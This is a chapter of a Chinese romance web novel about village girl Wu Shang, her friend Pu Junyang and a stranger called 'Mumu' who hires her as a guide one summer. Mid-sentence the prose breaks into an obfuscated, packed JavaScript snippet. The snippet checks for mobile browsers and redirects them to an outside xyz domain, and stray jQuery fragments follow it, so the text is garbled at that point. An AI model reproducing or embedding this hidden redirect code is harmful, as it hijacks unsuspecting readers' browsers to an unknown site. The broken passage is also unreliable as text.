10.梅子黄,日日晴

作品:《星光海岸

    梅子黄


    日日晴


    泥鳅跳跳


    圆眼笑笑


    —2006年7月,吴裳的《临夏日记》


    衣服散落在床上,吴裳正盘腿整理。阮香玉在厨房跟叶曼文念叨盘一家小店做面馆,好歹是自己的生意,不必看阿猫阿狗的脸色。


    叶曼文麻利地包着小馄饨,指尖一转,拧上一个元宝似的馄饨,齐整整码在竹案上。


    “开嘛,祖传的手艺。”叶曼文说:“就连小吴裳都会。”


    “那等过几天我去城里看一看。”阮香玉想起什么似的:“刚路上看到春花奶奶,说君阳从北京回来了。”


    “谁?谁回来了?!”吴裳忽然窜进厨房,吓她们一跳。


    阮香玉抄起小扫把拍打吴裳:“就你耳朵长!隔着墙你也能听清楚!”


    吴裳一边哎呀呀地喊,一边捂着屁股朝外跑,差点踩到隔壁新来的小黄狗,还蹲下跟狗道歉:“对不起,对不起,没踩坏你吧?”把狗身体翻过去看它四条腿,无碍,接着又一溜烟地跑了,阮香玉在身后说什么她已然听不清了。


    濮君阳家在村头第二间屋,他奶奶喜欢清净,将院门打很高,平日里任谁叫门,她都装聋不开。吴裳翻墙动作轻车熟路,一看就是惯犯。踩着几块突出的石头向上爬,坐上墙头,再跳到那棵梅子树上,顺着树下去,顺手摘了一颗熟透了的梅子,在黄色碎花裙上擦一下,咬一口,酸,舍不得吐掉,就囫囵个儿在嘴里含着,猫着腰跑到濮君阳窗下,敲敲窗。


    濮君阳推开窗的时候整个人都笑着:“就知道你会来!”朝吴裳伸出手,将她连拽带拉带进屋。吴裳一屁股坐在靠床的地板上,接过濮君阳递给她的半个西瓜,还有一根奶油雪糕。西瓜挖几口吃掉,就有一个坑,把奶油雪糕放进去,等它慢慢融化,就拥有奶油味的西瓜。


    濮君阳坐在她身边,看着她热的通红的脸,窗外潮热的海风吹进来,又把她的脸再烘烤一次。落地风扇呼呼地吹,她人就差钻进去。


    “上次打电话,你都没告诉我你要回来。”吴裳嘟嘴:“我生气了!”


    濮君阳推了推眼镜,笑着说:“上次还不知什么情况,想着要告诉你,打电话到你宿舍,你同学说你出去了。”


    “接着我的电话就坏了。”吴裳叹口气:“还没修呢!我妈说明天带我去城里修。”


    说完看着濮君阳傻笑,直笑得濮君阳害羞,用手拍拍她头,转移话题说起别的:“刚听见肖奶奶院里有动静,依稀是有了租客。”


    “是吗?我看看去!”


    两个人说着话,蹑手蹑脚向外走。春花奶奶正在木桌前打瞌睡,一只手支着脑袋,不知做了什么好梦。他们对视一笑,脚下的步子更快,跑走了。


    肖奶奶独身一人在村头,不常与人交道,只与几个孩子交好。慢慢的,孩子们长大离开了家,肖奶奶院里就落寞下来。吴裳寒假时候跟肖奶奶学刺绣,针还没拿稳就开学了,那时答应她暑假还来学。


    这就有了借口,她在外面拍门:“肖奶奶!我来学刺绣啦!”


    肖奶奶应门后,她看到院里站着一个青年男子,正拿一根长竿打果子。吴裳看看男子,再回头看看濮君阳,笑着说:“侧脸跟你有点像呢!”


    “哪有!”濮君阳说:“瞎说。”


    “我反正看到好看的男生都像你!”吴裳说完跑上前去,要帮男子的忙。


    “你叫什么?”她问。


    林在堂想了想:“木木。”


    “你来这做什么?”


    “过暑假。”


    “怎么找到千溪来的?”她好奇地问。在海洲这个地方,很多村子名声在外,独独不包括千溪。千溪就在海边,路不好走,刮风下雨看老天爷脸色,海水又都千篇一律,所以“穷千溪”少有人问津。


    林在堂不想回答这个问题,故意逗她:“误打误撞。”


    这时肖奶奶问濮君阳:“这次回来待几天?”


    “三天。”


    “三天?”吴裳转过头来,刚刚的兴高采烈骤然消失了,人快要哭出来了:“怎么才三天呢?”


    林在堂放下打果子的长竿,坐在一边的长凳上看好戏。姑娘穿着一件黄色棉质碎花裙,应当是爬过树,身上还挂着熟烂果子的果酱,她自己却是不知道。脑后的那根粗辫子早就散开,乱蓬蓬搭在肩上。千溪的海风没放过她,将她的脸吹的红扑扑的。像一个淳朴的乡下姑娘。


    这不过是寻常。


    不寻常的是姑娘应该喜欢那个男孩。听说他三天后就走,眼泪就在眼睛里打转。


    林在堂自在地前后晃动长凳,顺手拿起一块西瓜啃,一边啃,一边听他们说话。


    “有急事。”濮君阳好声好气对吴裳解释:“要么你跟我去北京过暑假?”


    吴裳闻言眼睛亮起来,她多想跟濮君阳一起待一整个暑假啊!可转瞬目光又黯淡下来:“不行呢,妈妈要去城里老街看店面,这个暑假肯定很忙。”


    “那我回来看你。”濮君阳承诺:“我先回去,再回来看你。”


    林在堂看够了热闹,准备回房间,却被肖奶奶唤住。肖奶奶说:“木木啊,你说想了解这里,你自己看不出什么名堂的。让我们吴裳带你在附近转转。”


    吴裳脑子转得快,忙说:“我很想帮这个忙,可是奶奶,我要去做暑期工的。”


    “我付你钱。”林在堂说:“多少合适呢?”


    吴裳想起自己坏掉的手机,倘若修不好再买一个,那也要一千出头。大声喊价:“一千五!”


    林在堂当然知道自己被人宰了一道,下意识觉得这姑娘很市侩、现实,但他却又没有因此讨厌她。于是点头:“两千吧,外出所需的费


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525867|170051||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用都由我承担,包括你渴了饿了产生的费用。你得空就来,我每天在这等你。”


    “可我要每天傍晚后才行。”吴裳说:“每天傍晚后,我陪你逛到晚上十点。这个时节,白天的外面也走不远的。很热很热。”吴裳指指林在堂的脸:“一天就会晒黑!”


    她讲话咋咋唬唬很是可爱,对钱的在意很直接。她早已计划好了暑假:要去码头谋一份工作、帮亲人做家务,现在只有傍晚空闲,但来了一个木木。


    她看着林在堂。


    这个人生就一张白面书生的脸,不输她喜欢的濮君阳。刚刚在那里晃凳子的时候像个纨绔公子哥,这会儿好好跟人说话,又带着一点“少年老成”的意思似的。


    吴裳不讨厌他。


    她原本就不会讨厌对她大方的人。


    肖奶奶把濮君阳拉进门,给他展示她的绣品。千溪村上一些年纪的女子都懂绣。再早些年,她们的绣品跟着出海的船只,走遍了大千世界。肖奶奶的绣品格外灵秀,濮君阳喜欢看。


    吴裳就在外头跟林在堂闲聊,她问林在堂一些有的没的,譬如:“你是哪里人?”


    “你几岁啦?”


    “做什么的?”


    …


    林在堂蔫坏一个人,故意逗吴裳,说他是北京人。吴裳就缠着他,要他教她说“大门儿”。江浙人很难说出那个儿化音,林在堂也一样,被吴裳一把点住了命门。最后只得坦白:“我是海洲人。”


    吴裳说他是老骗子,他问她为什么要叫他老骗子?她则说你刚说你二十多岁,肯定也是骗人的。你八成四五十岁了。就叫你老骗子!


    林在堂被她气笑了:“行!行!我是老骗子!”话风一转,问:“那我问你,你是不是喜欢里面那个人?”


    吴裳脸红了,说:“要你管。”


    “那你现在有没有烦心事?”林在堂问。


    “我缺钱,我想换个手机。”吴裳想起坏掉的手机,又苦了脸。


    “我现在就送你手机。要吗?”林在堂仍旧是在逗她,他早已发现她“贪财”,只是不知贪到什么程度。此时她板住脸,义正严辞地说:“不劳而获怎么行!我要用劳动换取报酬!”


    她那么认真,吓了林在堂一跳。


    千溪村的人很有意思。这个叫吴裳的姑娘尤其天真。不知怎的,林在堂开始期待起这个短暂的“假期”。


    远在冰岛旅行的孟若星问他调研怎么样?林在堂说即将开始。


    “如果他们知道你是谁,要做什么,肯定会巴结你。”


    “他们不会知道的。在这里,我叫木木。”


    林在堂放下手机,感受千溪的海风。他虽在海洲出生,却早早离开了海洲。海洲于他,既陌生又熟悉。


    千溪的海风好像知道了他的想法,所以拼命地吹向他,要他永远记住这个夏天。